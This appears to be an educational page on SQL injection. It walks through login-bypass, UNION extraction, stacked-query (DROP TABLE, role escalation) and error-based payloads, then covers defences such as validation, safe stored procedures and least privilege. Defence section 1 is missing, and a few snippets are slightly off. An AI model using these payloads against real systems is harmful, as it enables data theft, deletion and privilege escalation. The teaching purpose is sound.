SQL Injection Attacks

Example 1: Login Bypass Attack

The most classic SQL injection attack targets authentication forms. By injecting SQL logic that always evaluates to true, attackers can bypass password verification entirely.

# Query when username='admin' and password='secret'
SELECT * FROM users WHERE username='admin' AND password='secret'
# Result: No match, login fails

# Query when username="' OR '1'='1" and password="x"
SELECT * FROM users WHERE username='' OR '1'='1' AND password='x'
# Result: Returns ALL users, first user logged in!

Example 2: UNION-Based Data Extraction

UNION attacks combine results from multiple SELECT statements, allowing attackers to extract data from any table in the database.

# Step 1: Determine number of columns in original query
product?id=1 ORDER BY 1--    # Works
product?id=1 ORDER BY 2--    # Works
product?id=1 ORDER BY 3--    # Works
product?id=1 ORDER BY 4--    # ERROR! → 3 columns

# Step 2: Identify which columns display data
product?id=-1 UNION SELECT NULL,NULL,NULL--
# Find columns that appear in response

# Step 3: Extract database information
product?id=-1 UNION SELECT @@version,NULL,NULL--
# MySQL version: 8.0.32

# Step 4: Extract user data
product?id=-1 UNION SELECT username,password,email FROM users--
# Extracted: admin:hashed_password:admin@example.com

Example 3: Stacked Queries (Second-Order Attack)

Stacked queries allow execution of multiple SQL statements in one request. The second statement can modify or delete data.

# First-Order Stacked Query
product?id=1; DROP TABLE products--

# Resulting Query:
SELECT * FROM products WHERE id=1;
DROP TABLE products;  -- Products table deleted!

# Second-Order Attack (stored and executed later)
# Attacker registers with username: admin'--
# Data is stored in database
# When admin panel queries this user, query executes

# Create admin user
username: x'; INSERT INTO users (role) VALUES ('admin')--
# Modifies existing user to admin
username: x'; UPDATE users SET role='admin' WHERE username='victim'--

Example 4: Extracting Data with Error Messages

Error-based SQL injection leverages database error messages to extract information character by character.

# Force error that reveals database content
product?id=1 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))

# Error Message Exposes:
# XPATH syntax error: '~8.0.32'

# Extract current database name
product?id=1 AND EXTRACTVALUE(1,CONCAT(0x7e,DATABASE()))

# Extract table names
product?id=1 AND EXTRACTVALUE(1,
  CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name)
               FROM information_schema.tables
               WHERE table_schema=DATABASE())))

# Error reveals: users,products,admin,customers...

2. Input Validation & Whitelisting

Validate all user input on both client and server sides. Use strict type checking and allow only expected characters and formats.

# Server-side validation examples

# Python - Email validation
import re
def validate_email(email):
    pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$'
    return re.match(pattern, email) is not None

# Numeric ID validation
user_id = request.args.get('id')
if not user_id.isdigit():
    abort(400)

# Length limits
if len(username) > 50:
    abort(400)

# Whitelist approach
ALLOWED_CHARS = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-')
if not all(c in ALLOWED_CHARS for c in username):
    abort(400)

3. Stored Procedures

Stored procedures can provide security benefits, but only when combined with parameterized queries. They should not rely on dynamic SQL concatenation.

-- SQL Server Stored Procedure (SECURE)
CREATE PROCEDURE GetUserByName
    @UserName NVARCHAR(50)
AS
BEGIN
    SET NOCOUNT ON;
    SELECT * FROM Users
    WHERE Username = @UserName;  -- Parameter, not concatenation
END

-- Python calling stored procedure (SECURE)
cursor.execute("EXEC GetUserByName ?", (username,))

-- SQL Server Stored Procedure (VULNERABLE!)
CREATE PROCEDURE GetUserByName
    @UserName NVARCHAR(50)
AS
BEGIN
    DECLARE @SQL NVARCHAR(500);
    SET @SQL = 'SELECT * FROM Users WHERE Username = ''' + @UserName + '''';
    EXEC sp_executesql @SQL;  -- VULNERABLE!
END

4. Web Application Firewall (WAF)

WAFs provide an additional layer of protection by filtering malicious traffic before it reaches the application. They can block known attack patterns and zero-day exploits.

5. Least Privilege Database Accounts

Database accounts used by applications should have minimal permissions. Even if an injection succeeds, the damage is contained.

# MySQL - Create limited application user
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';

-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON app_db.products TO 'app_user'@'localhost';
GRANT SELECT ON app_db.categories TO 'app_user'@'localhost';

-- REVOKE dangerous permissions
REVOKE DELETE, DROP, ALTER, CREATE ON app_db.* FROM 'app_user'@'localhost';

-- Admin account (separate, never used by app)
CREATE USER 'admin_user'@'localhost' IDENTIFIED BY 'different_strong_password';
GRANT ALL PRIVILEGES ON app_db.* TO 'admin_user'@'localhost';